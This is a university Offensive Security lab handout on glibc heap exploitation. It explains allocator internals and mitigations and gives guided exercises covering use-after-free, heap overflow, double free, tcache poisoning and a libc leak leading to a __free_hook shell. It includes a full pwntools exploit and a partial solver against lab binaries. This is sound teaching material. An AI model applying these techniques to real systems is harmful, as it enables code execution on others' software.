

Heap Exploitation

Laboratory for the class “Offensive Security”
(01NWLWQ, 01NWLUV, 01NWL UW, 01NWLWR)
Politecnico di Torino – AY 2025/26
Prof. Cataldo Basile

prepared by:
Alberto Carboneri (alberto.carboneri@polito.it)

v. 1.0 (02/01/2026)

Contents

1	Heap Exploitation Background	2
1.1	What is the heap?	2
1.2	The glibc allocator: ptmalloc2	2
1.3	Chunk layout	3
1.4	tcache — the per-thread cache	4
1.5	Modern mitigations	4
1.6	Vulnerability classes covered by this lab	5
1.7	Libc leak via the unsorted bin	5
1.8	Recommended workflow	5
1.9	pwndbg: the heap commands you need	6
1.10	Useful glibc references	6
1.11	Materials	6
1.12	Guided example 1: Account Vault — UAF function pointer	7
1.13	Guided example 2: Inventory Slot — heap overflow	8
1.14	From guided examples to independent exercises	10
2	Exercises	11
3	Extras	13

Purpose of this laboratory

This laboratory focuses on **heap exploitation** on the GNU C Library (glibc) ptmalloc2 allocator. We cover the three classic memory-safety bugs that affect heap-allocated objects — **Use-After-Free (UAF)**, **Heap Overflow**, and **Double Free** — and one fundamental information-leak technique, the **libc leak via the unsorted bin**. Along the way we will see how modern allocator mitigations (tcache key check, safe-linking) shape the attack and how to bypass or work around them.

All the binaries and source code for this lab are in `lab_05_heap/materiale/challenges/`.

The laboratory is structured as follows:

- **Background:** a quick tour of the glibc allocator (bins, chunk metadata, mitigations) and the four vulnerability classes we will exercise.
- **Guided examples:** two step-by-step walkthroughs — the first one is fully solved, the second one leaves blanks for you to fill in.
- **Exercises:** three independent challenges to consolidate the techniques. Each challenge ships its own pinned libc so the heap layout is reproducible. The first three challenges (guided examples and Exercise 1) use glibc 2.39; Exercises 2 and 3 are pinned to the older glibc 2.31 that still ships the `__free_hook` function pointer, which makes the libc-leak exercise a clean one-shot exploit.
- **Extras:** optional ideas for self-study after the lab.

1 Heap Exploitation Background

1.1 What is the heap?

The **heap** is the region of a process's virtual memory used for *dynamic* allocations: memory whose lifetime is not tied to the duration of a function call. In C this is the memory you obtain with `malloc`, `calloc`, `realloc` and release with `free`. The kernel only knows about the *break* (the top of the data segment) and `mmap()`'d regions; everything else is policy implemented in user space by the C library.

Compared to the stack:

- the stack grows and shrinks automatically with function calls; the heap is managed manually;
- stack allocations are LIFO and contiguous; heap allocations can be freed in any order, leaving *holes*;
- the stack has its own protection (canary, NX, ASLR'd base); the heap protection rests on the *allocator's* self-consistency checks.

1.2 The glibc allocator: ptmalloc2

The default allocator on Linux is ptmalloc2, shipped inside glibc. It services `malloc/free` by maintaining several **free lists**, called *bins*, plus a per-thread cache. When the program asks for memory, the allocator searches the bins in a specific order; when memory is freed, the chunk is inserted into the bin that matches its size class.

The cheat-sheet of the bins, with their default size ranges on 64-bit Linux:

```
tcache per-thread, 7 entries per size class 0x20 .. 0x410 (chunk size)
fastbin thread-shared, 10 size classes 0x20 .. 0x80 (chunk size)
unsorted 1 doubly-linked list, mix of sizes anything not above
smallbin 62 doubly-linked lists, exact size 0x20 .. 0x3F0
largebin 63 doubly-linked lists, size range 0x400 and up
top the unused remainder of the heap one per arena
```

Where does `malloc(N)` actually return from?

A simplified version of the search order is:

1. Round `N` up to a chunk size (`N + 0x10` header, aligned to `0x10`).
2. If the size fits a `tcache` bin and the bin is non-empty → return its head.
3. Else if the size fits a `fastbin` and the bin is non-empty → return its head.
4. Else walk the unsorted bin, sorting each chunk into small/large bins; return one that fits.
5. Else split the top chunk.
6. If none of the above, request more memory from the kernel (`brk/mmap`).

`free(p)` symmetrically looks at the size of `p`'s chunk and inserts it into the matching bin (`tcache` first if there is room, then `fastbin`, otherwise unsorted/small/large).

1.3 Chunk layout

Every chunk has a small header in front of the user data:

```
+-----+ <- chunk start
| prev_size | 8 B (valid only when previous chunk is free)
+-----+
| size | A|M|P | 8 B P = PREV_INUSE (1 if previous chunk is in use)
| | M = IS_MMAPPED (1 if allocated via mmap)
| | A = NON_MAIN_ARENA
+-----+ <- user pointer returned by malloc()
| user data ... |
+-----+
```

The size field is always a multiple of `0x10`, so the three lowest bits are free to use as flags. A 32-byte `User` struct on x86-64 yields a chunk of size `0x30` (header `0x10` + user data `0x20`) and is therefore stored with `size = 0x31` (the `PREV_INUSE` flag set).

When the chunk is *free*, the first two qwords of the user area are repurposed as linked-list entries:

```
+-----+ <- chunk header
+-----+ <- user pointer (now: bin entry)
| fd | 8 B forward pointer (next in bin)
+-----+
| bk | 8 B backward pointer (only for doubly-linked bins)
+-----+
| key (tcache only) | 8 B per-thread sentinel for double-free detection
+-----+
| (rest of payload) |
+-----+
```

This co-tenancy of metadata and user data is the reason most heap exploits are possible at all: an out-of-bounds write into a freed chunk corrupts the bin list, and a UAF write to a chunk in the bin lets you forge `fd` (and the `key`).

NOTE

The chunk header for a chunk in a singly-linked bin (tcache/fastbin) has no `bk`; only `fd` and (for tcache) `key` are used by the allocator.

1.4 tcache — the per-thread cache

The **tcache** (added in `glibc 2.26`) is a per-thread LIFO array of free chunks: one singly-linked list for each size class, capped at 7 entries by default (`TCACHE_MAX_BINS = 64`, `TCACHE_FILL_COUNT = 7`).

Two things make the tcache exploitation-relevant:

- **It is consulted first**, in both `malloc` and `free`. As long as the bin is not full, your freed chunks are recycled by the very next `malloc` of the same size — LIFO. This is the property that powers UAF and tcache-poisoning exploits.
- **It performs almost no consistency checks**. `tcache_get` does not check the chunk header size, only that the address is 16-byte aligned. This makes it the easiest bin to redirect to an arbitrary address.

The tcache state lives on the heap itself, in a per-thread `tcache_perthread_struct` that is the first chunk `glibc` allocates — you will see it at the very start of the heap.

1.5 Modern mitigations

Tcache key check (glibc 2.29+). When a chunk is freed into the tcache, the per-thread `tcache_key` (a random sentinel) is written to offset `0x8` of the freed chunk:

```
chunk[0x0] = fd (encoded with safe-linking on 2.32+)
chunk[0x8] = tcache_key
```

On a subsequent `free`, if that sentinel is found, `glibc` walks the bin and aborts if the chunk is already there:

```
free(): double free detected in tcache 2
```

A common bypass is to use a UAF *write* to clear the key (zero out the second qword of the freed chunk) before the second `free`.

Safe-linking (glibc 2.32+). Single-linked free lists (tcache, fastbin) store a *protected* `fd`:

$$\text{protected_fd} = (\&\text{fd} \gg 12) \oplus \text{real_fd}$$

where `&fd` is the chunk's user-data address. A few consequences:

- The 12-bit-shifted heap address acts as an unknown key, so a blind overflow into `fd` now lands at an unpredictable target instead of where the attacker wanted.
- To poison a tcache `fd` you must know the heap address of the freed chunk and *encode* the target.
- Because `fd` is at offset `0x0` of the user data, `&fd` is the `malloc`'d address itself.

`glibc 2.31` (Ubuntu 20.04) does **not** have safe-linking yet — the `fd` is the plain pointer.

Removed hooks (glibc 2.34+). `__malloc_hook`, `__free_hook` and `__realloc_hook` have been removed since `glibc 2.34`. On older versions (such as the 2.31 we use in Exercises 2 and 3) they are still present and provide an easy code-execution primitive once you can do an arbitrary write into `libc`.

Other checks worth knowing. `ptmalloc2` also enforces:

- alignment of free-list heads (`tcache_get` aborts on non-16-byte-aligned chunks);
- the size field matches between adjacent chunks (`free()` compares with `nextchunk->prev_size` for the unsorted bin);
- the `prev_inuse` bit is consistent on coalescing;
- fastbin double-free protection: the top of the bin must differ from the chunk being freed.

1.6 Vulnerability classes covered by this lab

- **Use-After-Free (UAF):** the program keeps using a pointer after the chunk has been freed. If the attacker can cause the freed chunk to be reused for attacker-controlled data, the original "view" of the chunk now reads (or executes) attacker bytes.
- **Heap Overflow:** a write past the end of a heap chunk corrupts the next chunk's header or user data — including any function pointer stored there, or the bin metadata if the next chunk is free.
- **Double Free:** the same pointer is freed twice. With the `tcache` key check in place, the obvious form is detected; but if an intermediate UAF *write* clears the key, the second free is accepted and the chunk ends up in the bin twice. The next two `malloc`s then return the same address, creating two aliased pointers.

1.7 Libc leak via the unsorted bin

When a chunk that is too big for both the `tcache` and the fastbin (typical threshold on 64-bit: chunk size $> 0x410$) is freed, it is inserted into the **unsorted bin**. The unsorted bin is doubly-linked and *lives inside the main arena* (`main_arena`, a global structure inside `libc`). The first and only chunk in an empty unsorted bin therefore has its `fd` and `bk` pointing back at `main_arena.bins[0]` — a fixed offset inside `libc`:

```
chunk[0] = fd ----> &main_arena.bins[0] (libc + fixed offset)
chunk[8] = bk ----> &main_arena.bins[0]
```

If the program lets you *read* those bytes after the free (a UAF read), you obtain a runtime `libc` address. The `libc` base is then:

```
libc_base = leak - offset_of_main_arena.bins[0]_in_libc
```

To find that offset, the easiest path is: `readelf -s ./libc.so.6 | grep _malloc_hook` and use the well-known relation `main_arena = &_malloc_hook + 0x10` (glibc 2.31 x86-64). `bins[0]` is at `main_arena + 0x60`, so `&main_arena.bins[0] - libc_base = (_malloc_hook offset) + 0x70`.

NOTE

To prevent the freed chunk from being *coalesced* with the top chunk (which would erase the leak and skip the unsorted bin entirely), keep at least one allocated guard chunk between your "leak chunk" and the top of the heap.

1.8 Recommended workflow

1. Read the source code and identify the operations and their primitives (`alloc`, `free`, `edit`, `view`, `invoke`). Map each menu entry to a primitive.
2. Decide which vulnerability you have (UAF read/write, overflow, double free) and what the goal is (call `win`, leak `libc`, take a shell).

3. Sketch the heap on paper for the first few operations of your exploit. Which chunks land where? Which bins are involved at each step?
4. Validate the sketch in GDB with `pwndbg`.

1.9 pwndbg: the heap commands you need

The `pwndbg` GDB plugin provides everything required to introspect the allocator at runtime. Install (once):
`git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh`

The five commands you will use over and over:

```
heap # list every allocated and free chunk on the main heap
bins # show the contents of all bins (tcache, fast, unsorted, ...)
tcache # focused view of the tcache lists with safe-linking decoded
vis # heap "visualiser": annotate chunks, highlight your pointers
malloc_chunk <addr> # decode the chunk header at <addr>
```

Typical session:

```
> b *main+xxx
> r
> heap # confirm where your chunks landed
> bins # after a free, confirm which bin caught the chunk
> tcache # after a tcache_get, confirm the head and the (decoded) next
> vis # nicest overview of the heap state
```

NOTE

When safe-linking is in effect, the value stored at `fd` is the encoded one. `pwndbg`'s `tcache` command decodes it for you, but if you read the memory directly with `x/g` you will see the encoded value.

1.10 Useful glibc references

- Allocator source: `glibc/malloc/malloc.c` — the canonical reference for what every check does.
- *How2Heap* (<https://github.com/shellphish/how2heap>): a collection of minimal C programs reproducing one heap attack each, with the corresponding glibc version annotated.
- *ptmalloc2 internals* (Ayoosh Bansal): a long-form walk through the allocator data structures and operations.

The following two examples walk through the core techniques step by step. The first one is fully solved; the second leaves the key values for you to fill in.

1.11 Materials

Each challenge directory contains:

- the binary;
- the source code (`main.c`);
- a `solve.py` template (for some exercises);
- a `Dockerfile` and `docker-compose.yml` for the remote target;
- the pinned `libc.so.6` and `ld-linux-x86-64.so.2` that the remote will load.

NOTE

The delivered binary is exactly the one served on the remote. To test locally against the pinned `libc`, use `pwninit: cd <challenge-dir> && pwninit` which produces a patched copy (`<name>_patched`) you can run alongside the original. Your final exploit script should target the *original* binary — the remote container will use the pinned `libc` on its side.

1.12 Guided example 1: Account Vault — UAF function pointer

In `00_account_vault/` a tiny account-manager allocates a `User` struct, frees it on demand, and lets you allocate “raw data” of the same size:

```
struct User {
    void (*action)(struct User *); /* function pointer */
    char name[24]; /* 24 B */
}; /* total: 32 B -> tcache 0x20 */
```

Binary:	00_account_vault/account_vault
Source:	00_account_vault/main.c
Pinned libc:	00_account_vault/libc.so.6 (glibc 2.39)
Pinned loader:	00_account_vault/ld-linux-x86-64.so.2

The program offers five menu options: allocate user (sets `action = lose`), free user (does *not* null the pointer — this is the UAF primitive), allocate raw data of the same size as the struct, invoke the user’s action, exit.

Step 1 — Inspect the binary

```
checksec --file ./account_vault
```

Mitigations:

→

NX:

→

PIE:

→

Canary:

→

RELRO:

Since PIE is off, the address of `win` is fixed across runs. No `libc` leak is required for this challenge.

Step 2 — Identify the primitive

Look at `main.c`: option 2 (*Free User*) calls `free(user)` but *leaves* the global pointer dangling. Option 3 (*Allocate Data*) calls `malloc(sizeof(struct User))` — exactly the same size as the freed user — and reads attacker-controlled bytes into the resulting chunk.

Key observation: because the tcache is LIFO, the freshly allocated "data" buffer reuses the same chunk that just held the User. The dangling user pointer now aliases attacker-controlled bytes whose first 8 bytes are interpreted as action.

Step 3 — Heap timeline

1. Allocate User -> chunk A, user = A, A->action = lose
2. Free User -> A in tcache[0x20], user still points to A
3. Allocate Data -> malloc returns A; we control its 32 bytes
we write: [p64(win)] [24 padding bytes]
now A->action == win (seen through user)
4. Execute Action -> calls user->action() == win()

Step 4 — The complete exploit

```
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./account_vault', checksec=False)
p = process(elf.path)

win = elf.sym.win

p.sendlineafter(b'>_', b'1') # Allocate User
p.sendlineafter(b'>_', b'2') # Free User
p.sendlineafter(b'>_', b'3') # Allocate Data
p.sendafter(b'data:', p64(win).ljust(32, b'X'))
p.sendlineafter(b'>_', b'4') # Execute Action

print(p.recvall(timeout=1).decode(errors='replace'))
```

Run it and check that the flag appears (locally you need either the FLAG environment variable set or a flag.txt in the working directory).

NOTE

In GDB: break right after free, run tcache to see the chunk in bin 0x20. After option 3, run heap to confirm malloc reused the same address.

1.13 Guided example 2: Inventory Slot — heap overflow

In 01_inventory_slot/ the program allocates two adjacent chunks:

```
char *note = malloc(64); /* a plain buffer */
struct Slot *slot = malloc(sizeof *slot); /* function pointer inside */
slot->display = default_display;
read(0, note, 0xC0); /* OVERFLOW: 192 bytes into 64 */
```

Binary:	01_inventory_slot/inventory_slot
Source:	01_inventory_slot/main.c
Pinned libc:	01_inventory_slot/libc.so.6 (glibc 2.39)
Pinned loader:	01_inventory_slot/ld-linux-x86-64.so.2

The `Slot` struct is allocated right after `note` on a clean `tcache`, so the second chunk is physically adjacent to the first one. The 64-byte `read` budget is silently widened to `0xC0`, which spills past the end of `note` and into the next chunk's header *and* into `slot->display`.

Key questions

- Why are the two chunks adjacent if `malloc` usually picks freely?

→

- How many bytes separate the start of `note` and the `display` field?

→

Payload shape

$$\underbrace{\text{padding (note)}}_{64 \text{ B}} \parallel \underbrace{\text{fake prev_size}}_{8 \text{ B}} \parallel \underbrace{\text{fake size}}_{8 \text{ B}} \parallel \underbrace{\&\text{win}}_{8 \text{ B}}$$

NOTE

For this exploit we never free `slot`, so the corrupted size field is harmless — the allocator never re-inspects it.

Partial solver — fill in the blanks

Complete the script below. The parts marked `???` are for you to determine.

```
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./inventory_slot', checksec=False)
p = process(elf.path)

OFFSET_TO_DISPLAY = ??? # bytes from start of note to slot->display
WIN = ??? # address of win() in the binary

payload = flat(
    b'A' * OFFSET_TO_DISPLAY,
    p64(WIN),
)

p.sendafter(b'content:_', payload)
print(p.recvall(timeout=1).decode(errors='replace'))
```

→

ATTENTION

If the exploit prints garbage instead of the flag, double-check the offset in GDB: place a breakpoint just before `slot->display(slot)` and inspect the memory around `slot`.

1.14 From guided examples to independent exercises

The two examples cover the two simplest cases: a UAF replacing an entire freed object, and a heap overflow reaching the next chunk's payload. The exercises below combine and extend these ideas: bypassing the tcache key check with a UAF write, redirecting `malloc` to an arbitrary address (tcache poisoning), and finally leaking a `libc` pointer from the unsorted bin and chaining it into a shell.

2 Exercises

This section collects the challenges to solve independently. Each exercise directory is under `lab_05_heap/materiale/challenges/`.

Exercise 1 — Recycler

Purpose:	turn a double free into two aliased pointers to the same chunk by bypassing the <code>glibc</code> <code>tcache</code> key check, then use the aliasing to overwrite a function pointer.
Suggested tools:	<code>checksec</code> , GDB + <code>pwndbg</code> (<code>heap</code> , <code>tcache</code> , <code>bins</code>), <code>pwntools</code> .

The program manages an array of `Item` structs (function pointer + 24-byte data) and lets you `create`, `free` (without nulling the slot), `edit` (over the whole struct, allowing a UAF write), and `invoke`.

NOTE

This challenge is pinned to `glibc 2.39`, which means safe-linking is in effect for `tcache` fd pointers

Challenge directory: `02_recycler/`

Files:

```
02_recycler/recycler
02_recycler/main.c
02_recycler/libc.so.6
02_recycler/ld-linux-x86-64.so.2
02_recycler/solve.py
```

Exercise 2 — Notebook

Purpose:	poison a freed chunk's fd pointer so the next <code>malloc</code> returns an attacker-chosen address in <code>.bss</code> , then overwrite a global function pointer with <code>win</code> .
Suggested tools:	<code>checksec</code> , GDB + <code>pwndbg</code> , <code>pwntools</code> , <code>nm/readelf -s</code> to locate the global.

NOTE

This challenge is pinned to `glibc 2.31`.

Challenge directory: `03_notebook/`

Files:

```
03_notebook/notebook
03_notebook/main.c
03_notebook/libc.so.6
03_notebook/ld-linux-x86-64.so.2
03_notebook/solve.py
```

Exercise 3 — Whisper

Purpose:	leak a <code>libc</code> address via the unsorted bin, then hijack <code>__free_hook</code> so the next <code>free</code> calls <code>system("/bin/sh")</code> .
Suggested tools:	<code>checksec</code> , GDB + <code>pwndbg</code> , <code>pwntools</code> , <code>libc</code> symbol tables (<code>readelf -s ./libc.so.6 grep <symbol></code>).

NOTE

This challenge is pinned to glibc 2.31 so that `__free_hook` is still present.

Challenge directory: 04_whisper/

Files:

- 04_whisper/whisper
- 04_whisper/main.c
- 04_whisper/libc.so.6
- 04_whisper/ld-linux-x86-64.so.2
- 04_whisper/solve.py

3 Extras

Optional ideas if you finish early:

- In *Account Vault*, set the `tcache` count for size `0x20` above 7 (allocate and free 8+ chunks) before the UAF and observe what happens. Which bin caught the chunk?
- In *Inventory Slot*, instead of overwriting `slot->display` directly, corrupt only the `size` field of the second chunk and then `free` it. What does `glibc` complain about?
- In *Recycler*, re-run the exploit on a binary built against `glibc 2.31`. Is the key check there? If not, how does the bypass simplify?
- In *Notebook*, build the same exploit but against `glibc 2.32+` (with safe-linking). Identify the heap leak primitive (e.g. the address printed at allocation time would be the obvious one) and compute the encoded `fd` value.
- In *Whisper*, replace `__free_hook` with `__malloc_hook`. Which menu option triggers the hijack now? Why?
- Run all five exploits against the Docker target. What changes between `REMOTE=1` and a local `process()`?